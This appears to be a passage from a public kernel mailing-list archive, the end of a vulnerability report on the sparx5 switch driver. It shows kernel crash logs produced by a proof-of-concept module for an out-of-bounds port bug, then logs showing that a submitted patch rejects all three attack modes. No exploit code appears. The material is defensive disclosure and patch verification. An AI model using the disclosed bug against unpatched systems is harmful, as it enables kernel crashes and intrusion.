[    7.467294] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[    7.467504] pc : sparx5_port_init+0x169c/0x1f40 [sparx5_switch]
[    7.467698] lr : sparx5_port_init+0xab8/0x1f40 [sparx5_switch]
[    7.467888] sp : ffff8000876f6970
[    7.467992] x29: ffff8000876f69a0 x28: 0000000000000001 x27: 0000000000000001
[    7.468282] x26: 0000000000000041 x25: 0000000088a80000 x24: 1fffe0000219a8c6
[...]
[    7.511290] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004
[    7.511350] Mem abort info:
[    7.511368]   ESR = 0x0000000096000046
[    7.511421]   EC = 0x25: DABT (current EL), IL = 32 bits
[    7.511450]   SET = 0, FnV = 0
[    7.511470]   EA = 0, S1PTW = 0
[    7.511500]   FSC = 0x06: level 2 translation fault
[    7.511528] Data abort info:
[    7.511546]   ISV = 0, ISS = 0x00000046, ISS2 = 0x00000000
[    7.511569]   CM = 0, WnR = 1, TnD = 0, TagAccess = 0
[    7.511591]   GCS = 0, Overlay = 0, DirtyBit = 0
[    7.511723] user pgtable: 4k pages, 48-bit VAs, pgdp=000000004e143000
[    7.511825] [0000000000000004] pgd=080000004d7cd403, p4d=080000004d7cd403, pud=080000004e12a403, pmd=0000000000000000
[    7.512166] Internal error: Oops: 0000000096000046 [#1]  SMP
[    7.513622] Modules linked in: poc_sparx5_oob(O+) sparx5_switch phylink bridge stp llc
[    7.513915] CPU: 1 UID: 0 PID: 70 Comm: insmod Tainted: G    B   W  O        7.4.0-rc2+ #1 PREEMPT(full) 
[    7.514127] Tainted: [B]=BAD_PAGE, [W]=WARN, [O]=OOT_MODULE
[    7.514245] Hardware name: linux,dummy-virt (DT)
[    7.514349] pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[    7.514499] pc : sparx5_port_init+0x1028/0x1f40 [sparx5_switch]

--- patched: all three modes rejected during DT parsing ---

# Patched driver (exact patch as submitted) — all three attack modes intercepted
# source logs: run/evidence-emailpatch-mode{0,1,2}.log

--- mode 0 ---
[    7.553690] sparx5-switch 6bc00000.poc-sparx5: port 15839: reg out of range
driver KASAN reports / oops: 0
--- mode 1 ---
[    7.299818] sparx5-switch 6bc00000.poc-sparx5: port 536870912: reg out of range
driver KASAN reports / oops: 0
--- mode 2 ---
[    7.099245] sparx5-switch 6bc00000.poc-sparx5: port 65: reg out of range
driver KASAN reports / oops: 0

  reply	other threads:[~2026-11-13 11:42 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-11-13 11:42 Haoran Wang
2026-11-13 11:42 ` Haoran Wang [this message]
2026-11-13 11:47 ` netdev-bot+sinfo

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=179457014579.23820.13614773026784681775@gmail.com \
    --to=haoranwangsec@gmail.com \
    --cc=Steen.Hegelund@microchip.com \
    --cc=UNGLinuxDriver@microchip.com \
    --cc=daniel.machon@microchip.com \
    --cc=linux-arm-kernel@lists.infradead.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®